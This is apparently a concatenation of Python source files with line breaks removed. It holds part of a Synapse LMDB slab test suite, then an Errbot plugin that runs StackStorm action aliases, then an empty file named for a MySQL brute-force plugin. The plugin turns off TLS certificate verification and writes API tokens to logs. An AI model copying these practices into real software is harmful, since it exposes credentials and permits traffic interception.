val=b'2', db=dupndb) self.eq((b'1', b'1'), next(it)) self.raises(StopIteration, next, it) async def test_lmdbslab_count_empty(self): with self.getTestDir() as dirn: path = os.path.join(dirn, 'test.lmdb') async with await s_lmdbslab.Slab.anit(path, map_size=100000, growsize=10000) as slab: self.eq(0, await slab.countByPref(b'asdf')) async def test_lmdbslab_grow(self): with self.getTestDir() as dirn: path = os.path.join(dirn, 'test.lmdb') async with await s_lmdbslab.Slab.anit(path, map_size=100000, growsize=10000) as slab: foo = slab.initdb('foo', dupsort=True) foo2 = slab.initdb('foo2', dupsort=False) byts = b'\x00' * 256 for i in range(100): slab.put(s_common.guid(i).encode('utf8'), byts, db=foo) slab.put(s_common.guid(1000 + i).encode('utf8'), byts, db=foo2) count = 0 for _, _ in slab.scanByRange(b'', db=foo): count += 1 self.eq(count, 100) count = 0 for _, _ in slab.scanByRangeBack(b'ffffffffffffffffffffffffffffffff', db=foo): count += 1 self.eq(count, 100) # Trigger a grow/bump in the middle of a scan; make sure new nodes come after current scan position iter = slab.scanByRange(b'', db=foo) for _ in range(50): next(iter) iterback = slab.scanByRangeBack(b'ffffffffffffffffffffffffffffffff', db=foo) for _ in range(50): next(iterback) multikey = b'\xff\xff\xff\xfe' + s_common.guid(2000).encode('utf8') mapsize = slab.mapsize count = 0 # Write until we grow while mapsize == slab.mapsize: count += 1 rv = slab.put(multikey, s_common.guid(count + 100000).encode('utf8') + byts, dupdata=True, db=foo) self.true(rv) self.eq(50 + count, sum(1 for _ in iter)) self.eq(50, sum(1 for _ in iterback)) self.true(os.path.isfile(slab.optspath)) # Trigger a grow/bump in the middle of a dup scan iter = slab.scanByDups(multikey, db=foo) next(iter) iter2 = slab.scanByFull(db=foo2) next(iter2) iterback = slab.scanByDupsBack(multikey, db=foo) next(iterback) iterback2 = slab.scanByFullBack(db=foo2) next(iterback2) multikey = b'\xff\xff\xff\xff' + s_common.guid(i + 150000).encode('utf8') for i in range(200): slab.put(multikey, s_common.guid(i + 200000).encode('utf8') + byts, dupdata=True, db=foo) self.eq(count - 1, sum(1 for _ in iter)) self.eq(99, sum(1 for _ in iter2)) self.eq(count - 1, sum(1 for _ in iterback)) self.eq(99, sum(1 for _ in iterback2)) # lets ensure our mapsize / growsize persisted, and make sure readonly works async with await s_lmdbslab.Slab.anit(path, map_size=100000, readonly=True) as newdb: self.eq(10000, newdb.growsize) foo = newdb.initdb('foo', dupsort=True) for _, _ in newdb.scanByRange(b'', db=foo): count += 1 self.gt(count, 200) # Make sure readonly is really readonly self.raises(s_exc.IsReadOnly, newdb.dropdb, 'foo') self.raises(s_exc.IsReadOnly, newdb.put, b'1234', b'3456') self.raises(s_exc.IsReadOnly, newdb.replace, b'1234', b'3456') self.raises(s_exc.IsReadOnly, newdb.pop, b'1234') self.raises(s_exc.IsReadOnly, newdb.delete, b'1234') self.raises(s_exc.IsReadOnly, newdb.putmulti, ((b'1234', b'3456'),)) # While we have the DB open in readonly, have another process write a bunch of data to cause the # map size to be increased ctx = multiprocessing.get_context('spawn') proc = ctx.Process(target=_writeproc, args=(path, )) proc.start() proc.join() # Now trigger a remap for me newdb.get(multikey, db=foo) async def test_lmdbslab_grow_putmulti(self): ''' Test for a regression where putmulti's across a grow could corrupt the database Test for a regression where a generator being passed into a putmulti would result in a partial write ''' with self.getTestDir() as dirn: path = os.path.join(dirn, 'test.lmdb') data = [i.to_bytes(4, 'little') for i in range(1000)] async with await s_lmdbslab.Slab.anit(path, map_size=10000) as slab: # A putmulti across a grow before_mapsize = slab.mapsize kvpairs = [(x, x) for x in data] retn = slab.putmulti(kvpairs) self.eq(retn, (1000, 1000)) after_mapsize1 = slab.mapsize self.gt(after_mapsize1, before_mapsize) # A putmulti across a grow with a generator passed in kvpairs = ((b' ' + x, x) for x in data) retn = slab.putmulti(kvpairs) self.eq(retn, (1000, 1000)) after_mapsize2 = slab.mapsize self.gt(after_mapsize2, after_mapsize1) async def test_lmdbslab_iternext_repeat_regression(self): ''' Test for a scan being bumped in an iternext where the cursor is in the middle of a list of values with the same key ''' with self.getTestDir() as dirn: path = os.path.join(dirn, 'test.lmdb') my_maxsize = 500000 async with await s_lmdbslab.Slab.anit(path, map_size=100000, growsize=50000, maxsize=my_maxsize) as slab: foo = slab.initdb('foo', dupsort=True) key = b'foo' for i in range(100): slab.put(key, s_common.guid(i).encode('utf8'), db=foo) count = 0 for _, _ in slab.scanByRange(b'', db=foo): count += 1 self.eq(count, 100) # Partially read through scan iter = slab.scanByRange(lmin=key, lmax=key, db=foo) for _ in range(60): next(iter) # Trigger a bump by writing a bunch; make sure we're not writing into the middle of the scan multikey = b'\xff\xff\xff\xff' + s_common.guid(200).encode('utf8') mapsize = slab.mapsize count = 0 while mapsize == slab.mapsize: count += 1 slab.put(multikey, s_common.guid(count).encode('utf8') + b'0' * 256, dupdata=True, db=foo) # we wrote 100, read 60. We should read only another 40 self.len(40, list(iter)) async def test_slab_guid_stor(self): with self.getTestDir() as dirn: path = os.path.join(dirn, 'slab.lmdb') async with await s_lmdbslab.Slab.anit(path) as slab: guidstor = s_lmdbslab.GuidStor(slab, 'guids') info0 = guidstor.gen('aaaa') info0.set('hehe', 20) self.eq(20, info0.get('hehe')) self.none(info0.get('haha')) info0.set('woot', {'woot': 1}) self.eq((('hehe', 20), ('woot', {'woot': 1})), info0.items()) self.eq({'woot': 1}, info0.get('woot')) self.eq({'woot': 1}, info0.pop('woot')) self.none(info0.get('woot')) self.none(info0.pop('woot')) self.true(info0.pop('woot', s_common.novalu) is s_common.novalu) # Sad path case self.raises(s_exc.NotMsgpackSafe, info0.set, 'newp', {1, 2, 3}) async with await s_lmdbslab.Slab.anit(path) as slab: guidstor = s_lmdbslab.GuidStor(slab, 'guids') info1 = guidstor.gen('aaaa') self.eq(20, info1.get('hehe')) self.none(info1.pop('woot')) self.len(1, info1.items()) self.eq((('hehe', 20), ), info1.items()) async def test_slab_initdb_grow(self): self.thisHostMust(platform='linux') with self.getTestDir() as dirn: path = os.path.join(dirn, 'slab.lmdb') async with await s_lmdbslab.Slab.anit(path, map_size=1024, lockmemory=True) as slab: self.true(await asyncio.wait_for(slab.lockdoneevent.wait(), 8)) mapcount = getFileMapCount('slab.lmdb/data.mdb') self.eq(1, mapcount) mapsize = slab.mapsize [slab.initdb(str(i)) for i in range(10)] self.gt(slab.mapsize, mapsize) # Make sure there is still only one map self.true(await asyncio.wait_for(slab.lockdoneevent.wait(), 8)) mapcount = getFileMapCount('slab.lmdb/data.mdb') self.eq(1, mapcount) def test_slab_math(self): self.eq(s_lmdbslab._mapsizeround(100), 128) self.eq(s_lmdbslab._mapsizeround(s_const.mebibyte), s_const.mebibyte) self.eq(s_lmdbslab._mapsizeround(s_const.mebibyte + 1), 2 * s_const.mebibyte) self.eq(s_lmdbslab._mapsizeround(65 * s_const.gibibyte), 100 * s_const.gibibyte) self.eq(s_lmdbslab._mapsizeround(472 * s_const.gibibyte), 500 * s_const.gibibyte) self.eq(s_lmdbslab._mapsizeround(1000 * s_const.gibibyte), 1000 * s_const.gibibyte) async def test_slab_infinite_loop(self): ''' Trigger a map full when replaying the log from a prior map full. ''' with self.getTestDir() as dirn: path = os.path.join(dirn, 'test.lmdb') byts = b'\x00' * 256 count = 0 async with await s_lmdbslab.Slab.anit(path, map_size=32000, growsize=5000, lockmemory=True) as slab: foo = slab.initdb('foo') slab.put(b'abcd', s_common.guid(count).encode('utf8') + byts, db=foo) await asyncio.sleep(1.1) count += 1 slab.put(b'abcd', s_common.guid(count).encode('utf8') + byts, db=foo) # If we got here we're good self.true(True) async def test_slab_mapfull_runsyncloop(self): ''' forcecommit in runSyncLoop can very occasionally trigger a mapfull ''' with patch('synapse.lib.lmdbslab.Slab.DEFAULT_MAPSIZE', s_const.mebibyte), \ patch('synapse.lib.lmdbslab.Slab.DEFAULT_GROWSIZE', 128 * s_const.kibibyte): batchsize = 4000 numbatches = 2 async with self.getTestCore() as core: before_mapsize = core.view.layers[0].layrslab.mapsize for i in range(numbatches): async with await core.snap() as snap: ips = ((('test:int', i * 1000000 + x), {'props': {'loc': 'us'}}) for x in range(batchsize)) await alist(snap.addNodes(ips)) # Wait for the syncloop to run await asyncio.sleep(1.1) # Verify that it hit self.gt(core.view.layers[0].layrslab.mapsize, before_mapsize) async def test_slab_mapfull_drop(self): ''' Test a mapfull in the middle of a dropdb ''' with self.getTestDir() as dirn: path = os.path.join(dirn, 'test.lmdb') data = [i.to_bytes(4, 'little') for i in range(400)] async with await s_lmdbslab.Slab.anit(path, map_size=32000, growsize=5000) as slab: slab.initdb('foo') kvpairs = [(x, x) for x in data] slab.putmulti(kvpairs) slab.forcecommit() before_mapsize = slab.mapsize slab.dropdb('foo') self.false(slab.dbexists('foo')) self.gt(slab.mapsize, before_mapsize) @staticmethod def make_slab(path): ''' Multiprocessing target for expanding an existing slab ''' async def workloop(): s_glob.iAmLoop() data = [i.to_bytes(4, 'little') for i in range(400)] async with await s_lmdbslab.Slab.anit(path, map_size=32000, growsize=5000) as slab: slab.initdb('foo') kvpairs = [(x, x) for x in data] slab.putmulti(kvpairs) slab.forcecommit() asyncio.run(workloop()) async def test_slab_mapfull_initdb(self): ''' Test a mapfull in the middle of an initdb ''' mpctx = multiprocessing.get_context('spawn') with self.getTestDir() as dirn: path = os.path.join(dirn, 'test.lmdb') async with await s_lmdbslab.Slab.anit(path, map_size=32000) as slab: pass async with await s_lmdbslab.Slab.anit(path, map_size=32000, readonly=True) as slab: proc = mpctx.Process(target=self.make_slab, args=(path,)) proc.start() proc.join(10) self.nn(proc.exitcode) slab.initdb('foo') self.true(True) async def test_lmdb_multiqueue(self): with self.getTestDir() as dirn: path = os.path.join(dirn, 'test.lmdb') async with await s_lmdbslab.Slab.anit(path) as slab: mque = await slab.getMultiQueue('test') self.false(mque.exists('woot')) with self.raises(s_exc.NoSuchName): await mque.rem('woot') with self.raises(s_exc.NoSuchName): await mque.get('woot', 0) with self.raises(s_exc.NoSuchName): await mque.put('woot', 'lulz') with self.raises(s_exc.NoSuchName): mque.status('woot') with self.raises(s_exc.NoSuchName): await mque.cull('woot', -1) with self.raises(s_exc.NoSuchName): await mque.dele('woot', 1, 1) with self.raises(s_exc.NoSuchName): await mque.sets('woot', 1, ('lols',)) await mque.add('woot', {'some': 'info'}) await self.asyncraises(s_exc.DupName, mque.add('woot', {})) self.true(mque.exists('woot')) self.eq(0, await mque.put('woot', 'hehe')) self.eq(1, await mque.put('woot', 'haha')) self.eq(2, await mque.put('woot', 'hoho')) self.eq(3, mque.size('woot')) self.eq(3, await mque.put('woot', 'lol', reqid='foo')) self.eq(4, await mque.put('woot', 'lol', reqid='foo')) self.eq(4, await mque.put('woot', 'lol', reqid='foo')) self.eq(4, await mque.puts('woot', ('lol2', 'lol3'), reqid='foo2')) self.eq(6, await mque.puts('woot', ('lol2', 'lol3'), reqid='foo2')) self.eq(6, await mque.puts('woot', ('lol2', 'lol3'), reqid='foo2')) self.eq((0, 'hehe'), await mque.get('woot', 0)) self.eq((1, 'haha'), await mque.get('woot', 1)) self.eq((1, 'haha'), await mque.get('woot', 0)) self.eq((-1, None), await mque.get('woot', 1000, cull=False)) self.eq(5, mque.size('woot')) status = mque.list() self.len(1, status) self.eq(status[0], {'name': 'woot', 'meta': {'some': 'info'}, 'size': 5, 'offs': 6, }) await mque.cull('woot', -1) self.eq(mque.status('woot'), status[0]) async with await s_lmdbslab.Slab.anit(path) as slab: mque = await slab.getMultiQueue('test') self.eq(5, mque.size('woot')) self.eq(6, mque.offset('woot')) self.eq(((1, 'haha'), ), [x async for x in mque.gets('woot', 0, size=1)]) correct = ((1, 'haha'), (2, 'hoho'), (3, 'lol'), (4, 'lol2'), (5, 'lol3')) self.eq(correct, [x async for x in mque.gets('woot', 0)]) data = [] evnt = asyncio.Event() async def getswait(): async for item in mque.gets('woot', 0, wait=True): if item[1] is None: break data.append(item) if item[1] == 'hoho': evnt.set() task = slab.schedCoro(getswait()) await asyncio.wait_for(evnt.wait(), 5) self.eq(data, correct) await mque.put('woot', 'lulz') await mque.put('woot', None) await asyncio.wait_for(task, 2) self.eq(data, (*correct, (6, 'lulz'))) self.true(mque.exists('woot')) self.eq((2, 'hoho'), await mque.get('woot', 2)) await mque.put('woot', 'huhu') await mque.rem('woot') self.false(mque.exists('woot')) await mque.add('woot', {'some': 'info'}) self.eq(0, await mque.put('woot', 'hehe')) self.eq(1, await mque.put('woot', 'haha')) self.eq(2, await mque.put('woot', 'hoho')) self.eq(3, mque.size('woot')) self.eq(3, mque.offset('woot')) # Replace one item in the queue await mque.sets('woot', 1, ('lol',)) self.eq(3, mque.size('woot')) self.eq(3, mque.offset('woot')) correct = ((0, 'hehe'), (1, 'lol'), (2, 'hoho')) self.eq(correct, [x async for x in mque.gets('woot', 0)]) # Replace multiple items in the queue await mque.sets('woot', 1, ('lol2', 'lol3')) self.eq(3, mque.size('woot')) self.eq(3, mque.offset('woot')) correct = ((0, 'hehe'), (1, 'lol2'), (2, 'lol3')) self.eq(correct, [x async for x in mque.gets('woot', 0)]) # Replace items going past the end of the current queue await mque.sets('woot', 2, ('lol4', 'lol5', 'lol6')) self.eq(5, mque.size('woot')) self.eq(5, mque.offset('woot')) correct = ((0, 'hehe'), (1, 'lol2'), (2, 'lol4'), (3, 'lol5'), (4, 'lol6')) self.eq(correct, [x async for x in mque.gets('woot', 0)]) # Delete from the middle of the queue await mque.dele('woot', 1, 3) self.eq(2, mque.size('woot')) self.eq(5, mque.offset('woot')) correct = ((0, 'hehe'), (4, 'lol6')) self.eq(correct, [x async for x in mque.gets('woot', 0)]) # Add items in the gap we created await mque.sets('woot', 2, ('lol7', 'lol8')) self.eq(4, mque.size('woot')) self.eq(5, mque.offset('woot')) correct = ((0, 'hehe'), (2, 'lol7'), (3, 'lol8'), (4, 'lol6')) self.eq(correct, [x async for x in mque.gets('woot', 0)]) # Delete a partially empty range await mque.dele('woot', 3, 10) self.eq(2, mque.size('woot')) self.eq(5, mque.offset('woot')) correct = ((0, 'hehe'), (2, 'lol7')) self.eq(correct, [x async for x in mque.gets('woot', 0)]) # Delete a completely empty range await mque.dele('woot', 100, 150) self.eq(2, mque.size('woot')) self.eq(5, mque.offset('woot')) correct = ((0, 'hehe'), (2, 'lol7')) self.eq(correct, [x async for x in mque.gets('woot', 0)]) # Set items past the end of the current queue await mque.sets('woot', 200, ('lol9', 'lol0')) self.eq(4, mque.size('woot')) self.eq(202, mque.offset('woot')) correct = ((0, 'hehe'), (2, 'lol7'), (200, 'lol9'), (201, 'lol0')) self.eq(correct, [x async for x in mque.gets('woot', 0)]) # Adding items past the current end of queue should wake waiters data = [] async def getswait(): async for item in mque.gets('woot', 0, wait=True): data.append(item) if item[1] == 'lol0': break task = slab.schedCoro(getswait()) await mque.sets('woot', 201, ('lol9', 'lol0')) await asyncio.wait_for(task, 2) self.eq(5, mque.size('woot')) self.eq(203, mque.offset('woot')) correct = ((0, 'hehe'), (2, 'lol7'), (200, 'lol9'), (201, 'lol9'), (202, 'lol0')) self.eq(data, correct) # Invalid offsets that won't do anything await mque.dele('woot', -1, 20) await mque.dele('woot', -5, -1) await mque.dele('woot', 5, 1) await mque.dele('woot', 5, -1) await mque.sets('woot', -1, ('lolz', 'lol')) self.eq(5, mque.size('woot')) self.eq(203, mque.offset('woot')) correct = ((0, 'hehe'), (2, 'lol7'), (200, 'lol9'), (201, 'lol9'), (202, 'lol0')) self.eq(correct, [x async for x in mque.gets('woot', 0)]) async def test_slababrv(self): with self.getTestDir() as dirn: path = os.path.join(dirn, 'test.lmdb') async with await s_lmdbslab.Slab.anit(path) as slab: abrv = s_lmdbslab.SlabAbrv(slab, 'test') valu = abrv.setBytsToAbrv('hehe'.encode()) self.eq(valu, b'\x00\x00\x00\x00\x00\x00\x00\x00') valu = abrv.setBytsToAbrv('haha'.encode()) self.eq(valu, b'\x00\x00\x00\x00\x00\x00\x00\x01') name = abrv.abrvToByts(b'\x00\x00\x00\x00\x00\x00\x00\x01') self.eq(name, b'haha') self.raises(s_exc.NoSuchAbrv, abrv.abrvToByts, b'\x00\x00\x00\x00\x00\x00\x00\x02') # And persistence async with await s_lmdbslab.Slab.anit(path) as slab: abrv = s_lmdbslab.SlabAbrv(slab, 'test') # recall first name = abrv.abrvToByts(b'\x00\x00\x00\x00\x00\x00\x00\x00') self.eq(name, b'hehe') name = abrv.abrvToByts(b'\x00\x00\x00\x00\x00\x00\x00\x01') self.eq(name, b'haha') # Remaking them makes the values we already had valu = abrv.nameToAbrv('hehe') self.eq(valu, b'\x00\x00\x00\x00\x00\x00\x00\x00') valu = abrv.nameToAbrv('haha') self.eq(valu, b'\x00\x00\x00\x00\x00\x00\x00\x01') self.eq('haha', abrv.abrvToName(b'\x00\x00\x00\x00\x00\x00\x00\x01')) # And we still have no valu for 02 self.raises(s_exc.NoSuchAbrv, abrv.abrvToByts, b'\x00\x00\x00\x00\x00\x00\x00\x02') # And we don't overwrite existing values on restart valu = abrv.setBytsToAbrv('hoho'.encode()) self.eq(valu, b'\x00\x00\x00\x00\x00\x00\x00\x02') valu = abrv.nameToAbrv('haha') self.eq(valu, b'\x00\x00\x00\x00\x00\x00\x00\x01') async def test_lmdbslab_hotkeyval(self): with self.getTestDir() as dirn: path = os.path.join(dirn, 'test.lmdb') async with await s_lmdbslab.Slab.anit(path, map_size=1000000) as slab, \ await s_lmdbslab.HotKeyVal.anit(slab, 'counts') as ctr: self.eq(None, ctr.get('foo')) self.eq({}, ctr.pack()) ctr.set('foo', 1) ctr.set('bar', {'val': 42}) self.eq({'foo': 1, 'bar': {'val': 42}}, ctr.pack()) ctr.set('baz', 42) ctr.delete('baz') self.eq(None, ctr.get('baz')) async with await s_lmdbslab.Slab.anit(path, map_size=1000000) as slab, \ await s_lmdbslab.HotKeyVal.anit(slab, 'counts') as ctr: self.eq({'foo': 1, 'bar': {'val': 42}}, ctr.pack()) self.eq({'val': 42}, ctr.get('bar')) async def test_lmdbslab_hotcount(self): with self.getTestDir() as dirn: path = os.path.join(dirn, 'test.lmdb') async with await s_lmdbslab.Slab.anit(path, map_size=1000000, lockmemory=True) as slab, \ await s_lmdbslab.HotCount.anit(slab, 'counts') as ctr: self.eq(0, ctr.get('foo')) self.eq({}, ctr.pack()) ctr.inc('foo') self.eq({'foo': 1}, ctr.pack()) self.eq(1, ctr.get('foo')) ctr.set('bar', 42) self.eq({'foo': 1, 'bar': 42}, ctr.pack()) ctr.sync() self.eq({'foo': 1, 'bar': 42}, ctr.pack()) ctr.inc('foo') ctr.inc('foo') ctr.set('bar', 37) ctr.sync() cache = [] for lkey, lval in slab.scanByFull(db='counts'): cache.append((lkey, s_common.int64un(lval))) self.len(1, [k for k, v in cache if k == b'foo']) self.len(1, [k for k, v in cache if k == b'bar']) async def test_lmdbslab_doubleopen(self): with self.getTestDir() as dirn: path = os.path.join(dirn, 'test.lmdb') async with await s_lmdbslab.Slab.anit(path) as slab: foo = slab.initdb('foo') slab.put(b'\x00\x01', b'hehe', db=foo) # Can close and re-open fine async with await s_lmdbslab.Slab.anit(path) as slab: foo = slab.initdb('foo') self.eq(b'hehe', slab.get(b'\x00\x01', db=foo)) # Can't re-open while already open await self.asyncraises(s_exc.SlabAlreadyOpen, s_lmdbslab.Slab.anit(path)) async def test_lmdbslab_copyslab(self): with self.getTestDir() as dirn: path = os.path.join(dirn, 'test.lmdb') copypath = os.path.join(dirn, 'copy.lmdb') async with await s_lmdbslab.Slab.anit(path) as slab: foo = slab.initdb('foo') slab.put(b'\x00\x01', b'hehe', db=foo) await slab.copyslab(copypath) self.true(pathlib.Path(copypath).with_suffix('.opts.yaml').exists()) async with await s_lmdbslab.Slab.anit(copypath) as slabcopy: foo = slabcopy.initdb('foo') self.eq(b'hehe', slabcopy.get(b'\x00\x01', db=foo)) await self.asyncraises(s_exc.DataAlreadyExists, slab.copyslab(copypath)) async def test_lmdbslab_statinfo(self): with self.getTestDir() as dirn: path = os.path.join(dirn, 'test.lmdb') async with await s_lmdbslab.Slab.anit(path) as slab: foo = slab.initdb('foo') slab.put(b'\x00\x01', b'hehe', db=foo) slab.put(b'\x00\x02', b'haha', db=foo) await slab.sync() stats = slab.statinfo() self.false(stats['locking_memory']) self.false(stats['prefaulting']) commitstats = stats['commitstats'] self.len(2, commitstats) self.eq(2, commitstats[-1][1]) class LmdbSlabMemLockTest(s_t_utils.SynTest): async def test_lmdbslabmemlock(self): self.thisHostMust(hasmemlocking=True) beforelockmem = s_thisplat.getCurrentLockedMemory() with self.getTestDir() as dirn: path = os.path.join(dirn, 'test.lmdb') async with await s_lmdbslab.Slab.anit(path, map_size=1000000, lockmemory=True) as lmdbslab: self.true(await asyncio.wait_for(lmdbslab.lockdoneevent.wait(), 8)) lockmem = s_thisplat.getCurrentLockedMemory() self.ge(lockmem - beforelockmem, 4000) async def test_multiple_grow(self): ''' Trigger multiple grow events rapidly and ensure memlock thread survives. ''' self.thisHostMust(hasmemlocking=True) with self.getTestDir() as dirn: count = 0 byts = b'\x00' * 1024 path = os.path.join(dirn, 'test.lmdb') mapsize = 10 * 1024 * 1024 async with await s_lmdbslab.Slab.anit(path, map_size=mapsize, growsize=5000, lockmemory=True) as slab: foo = slab.initdb('foo') while count < 8000: count += 1 slab.put(s_common.guid(count).encode('utf8'), s_common.guid(count).encode('utf8') + byts, db=foo) self.true(await asyncio.wait_for(slab.lockdoneevent.wait(), 8)) lockmem = s_thisplat.getCurrentLockedMemory() # TODO: make this test reliable self.ge(lockmem, 0) async def test_math(self): self.eq(16, s_lmdbslab._florpo2(16)) self.eq(16, s_lmdbslab._florpo2(17)) self.eq(16, s_lmdbslab._florpo2(31)) self.eq(16, s_lmdbslab._ceilpo2(16)) self.eq(16, s_lmdbslab._ceilpo2(15)) self.eq(16, s_lmdbslab._ceilpo2(9)) self.eq(4, s_lmdbslab._roundup(4, 2)) self.eq(4, s_lmdbslab._roundup(3, 2)) def _writeproc(path): async def lotsofwrites(path): byts = b'\x00' * 256 os.remove(pathlib.Path(path).with_suffix('.opts.yaml')) async with await s_lmdbslab.Slab.anit(path, map_size=100000) as slab: foo = slab.initdb('foo', dupsort=True) mapsize = slab.mapsize count = 0 while mapsize == slab.mapsize: count += 1 slab.put(b'abcd', s_common.guid(count).encode('utf8') + byts, dupdata=True, db=foo) asyncio.run(lotsofwrites(path))
st2.py
#coding:utf-8 from errbot import BotPlugin, re_botcmd, botcmd from st2client.client import Client import subprocess import copy import re import logging import threading import time import requests from requests.auth import HTTPBasicAuth class St2(BotPlugin): """ Stackstorm plugin for authentication and Action Alias execution. Try !st2help for action alias help. """ def __init__(self, bot): super(St2, self).__init__(bot) # We append 'st2 ' to the bot prefix to avoid action alias definitions # from colliding with errbot's native plugin commands. self.bot_prefix = "{}st2 ".format(self.bot_config.BOT_PREFIX) self.st2_config = self.bot_config.STACKSTORM self.base_url = self.st2_config.get('base_url') or 'http://localhost' self.auth_url = self.st2_config.get('auth_url') or 'http://localhost:9100' self.api_url = self.st2_config.get('api_url') or 'http://localhost:9100/v1' self.api_version = self.st2_config.get('api_version') or 'v1' self.timer_update = self.st2_config.get('timer_update') or 60 # API user authentication. api_auth = self.st2_config.get('api_auth') or {} tmp_user = api_auth.get('user') or None if tmp_user: self.api_username = tmp_user.get('name') or None self.api_password = tmp_user.get('password') or None self.api_token = tmp_user.get("token") or None # API Key support doesn't exist in st2client as of version 1.4 # but it's being worked on # so it's provisioned here for future # use. self.api_key = api_auth.get('key') or None self.pattern_action = {} self.help = '' #show help doc with exec `!helpst2` self.tolerant_gen_patterns_and_help() th1 = threading.Thread(target=self.timer_gen_patterns_and_help) th1.setDaemon(True) th1.start() @re_botcmd(pattern=r'^st2 .*') def st2_run(self, msg, match): """ Run an arbitrary stackstorm command. Available commands can be listed using !st2help """ _msg = str(msg) data = self.match(_msg) logging.info("st2 matched with the following %s" % data) if data: action_ref = data.pop('action_ref') logging.info('st2 run request %s : %s' % (_msg, action_ref)) res = self.run_action(action_ref, **data["kwargs"]) logging.info('st2 run response: {0}'.format(res)) return res else: return "st2 command not found '{}'. Check help with !st2help".format(_msg) @botcmd def st2help(self, msg, args): """ Provide help for stackstorm action aliases. """ return self.help def _trial_token(self): """ Send token header 'X-Auth-Token: <token>' to API endpoint https://<stackstorm host>/api/' """ add_headers = {'X-Auth-Token': self.api_token} r = self._http_request('GET', '/api/', headers=add_headers) if r.status_code == 401: # unauthorised try to get a new token. self._renew_token() else: logging.info('API response to token = {} {}'.format(r.status_code, r.reason)) def _renew_token(self): """ Request a new user token be created by stackstorm and use it to query the API end point. """ auth = HTTPBasicAuth(self.api_username, self.api_password) r = self._http_request('POST', '/auth/{}/tokens'.format(self.api_version), auth=auth) if r.status_code == 201: # created. auth_info = r.json() self.api_token = auth_info["token"] logging.info("Received new token %s" % self.api_token) else: logging.warning('Failed to get new user token. {} {}'.format(r.status_code, r.reason)) def _http_request(self, verb="GET", url="/", headers={}, auth=None): """ Generic HTTP call. """ get_kwargs = { 'headers': headers, 'timeout': 5, 'verify': False } if auth: get_kwargs['auth']=auth host = self.base_url.rsplit('//')[1] response = requests.request(verb, 'https://{}{}'.format(host,url), **get_kwargs) return response def run_action(self, action, **kwargs): """ Perform the system call to execute the Stackstorm action. """ # This method ties errbot to the same machine as the stackstorm # installation. TO DO: Investigate if errbot can execute stackstorm # runs from a remote host. cmd = [ '/opt/stackstorm/st2/bin/st2', '--url={}'.format(self.base_url), '--auth-url={}'.format(self.auth_url), '--api-url={}'.format(self.api_url), '--api-version={}'.format(self.api_version), 'run', '-t', '{}'.format(self.api_token), '{}'.format(action), ] for k, v in kwargs.items(): cmd.append('{}={}'.format(k, v)) sp = subprocess.Popen(cmd, shell=False, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, cwd='/opt/stackstorm/st2/bin') output = sp.communicate()[0] returncode = sp.returncode output = re.sub(r'\x1b\[.{3}(?P<content>.*)\x1b\[0m', r'\g<content>', output) return output def tolerant_gen_patterns_and_help(self): """ A wrapper method to check for API access authorisation. """ try: self.gen_patterns_and_help() except requests.exceptions.HTTPError as e: # Attempt to re-authenticate on HTTP Error self._trial_token() self.gen_patterns_and_help() except Exception as e: logging.error("Error while fetching action aliases %s" % e.message) def timer_gen_patterns_and_help(self): """ auto update patterns and help. :return: """ while True: time.sleep(self.timer_update) logging.debug('Updating st2 pattern and help after sleep %d s' % self.timer_update) self.tolerant_gen_patterns_and_help() def gen_patterns_and_help(self): """ gen pattern and help for action alias """ self.help = '' self.pattern_action = {} st2_client = Client(base_url=self.base_url, api_url=self.api_url, token=self.api_token) for alias_obj in st2_client.managers['ActionAlias'].get_all(): for _format in alias_obj.formats: display, representations = self._normalise_format(_format) for representation in representations: if not type(representation) in [type(str()), type(str())]: logging.info("Skipping: %s which is type %s" % (alias_obj.action_ref, type(representation))) continue pattern_context, kwargs = self._format_to_pattern(representation) self.pattern_action[pattern_context] = { "action_ref": alias_obj.action_ref, "kwargs": kwargs } self.help += '{}{} -- {}\r\n'.format(self.bot_prefix, display, alias_obj.description) if self.help == '': self.help = 'No Action-Alias definitions were found. No help is available.' def _normalise_format(self, alias_format): """ Stackstorm action aliases can have two types; 1. A simple string holding the format 2. A dictionary which hold numberous alias format "representation(s)" With a single "display" for help about the action alias. This function processes both forms and returns a standardised form. """ display = None representation = [] if type(alias_format) in [type(str()), type(str())]: display = alias_format representation.append(alias_format) if type(alias_format) == type(dict()): display = alias_format['display'] representation = alias_format['representation'] return (display, representation) def _format_to_pattern(self, alias_format): """ Extract named arguments from format to create a keyword argument list. Transform tokens into regular expressions. """ kwargs = {} # Step 1: Extract action alias arguments so they can be used later # when calling the stackstorm action. tokens = re.findall(r"{{(.*?)}}", alias_format, re.IGNORECASE) for token in tokens: if token.find("=") > -1: name, val = token.split("=") # Remove unnecessary whitespace name = name.strip() val = val.strip() kwargs[name] = val name = r"?P<{}>[\s\S]+?".format(name) else: name = token.strip() kwargs[name] = None name = r"?P<{}>[\s\S]+?".format(name) # The below code causes a regex exception to be raised under certain conditions. Using replace() as alternative. #~ alias_format = re.sub( r"\s*{{{{{}}}}}\s*".format(token), r"\\s*({})\\s*".format(name), alias_format) # Replace token with named group match. alias_format = alias_format.replace(r"{{{{{}}}}}".format(token), r"({})".format(name)) # Step 2: Append regex to match any extra parameters that weren't declared in the action alias. extra_params = r"""(:?\s+(\S+)\s*=("([\s\S]*?)"|'([\s\S]*?)'|({[\s\S]*?})|(\S+))\s*)*""" alias_format = r'^{}{}{}$'.format(self.bot_prefix, alias_format, extra_params) return (re.compile(alias_format, re.I), kwargs) def _extract_extra_params(self, extra_params): """ Returns a dictionary of extra parameters supplied in the action_alias. """ kwargs = {} for arg in extra_params.groups(): if arg and "=" in arg: k, v = arg.split("=", 1) kwargs[k.strip()] = v.strip() return kwargs def match(self, text): """ Match the text against an action and return the action reference. """ results = [] for pattern in self.pattern_action: res = pattern.search(text) if res: data = {} # Create keyword arguments starting with the defaults. # Deep copy is used here to avoid exposing the reference # outside the match function. data.update(copy.deepcopy(self.pattern_action[pattern])) # Merge in the named arguments. data["kwargs"].update(res.groupdict()) # Merge in any extra arguments supplied as a key/value pair. data["kwargs"].update(self._extract_extra_params(res)) results.append(data) if not results: return None results.sort(reverse=True) return results[0]
Mysql_brute_Plugin.py
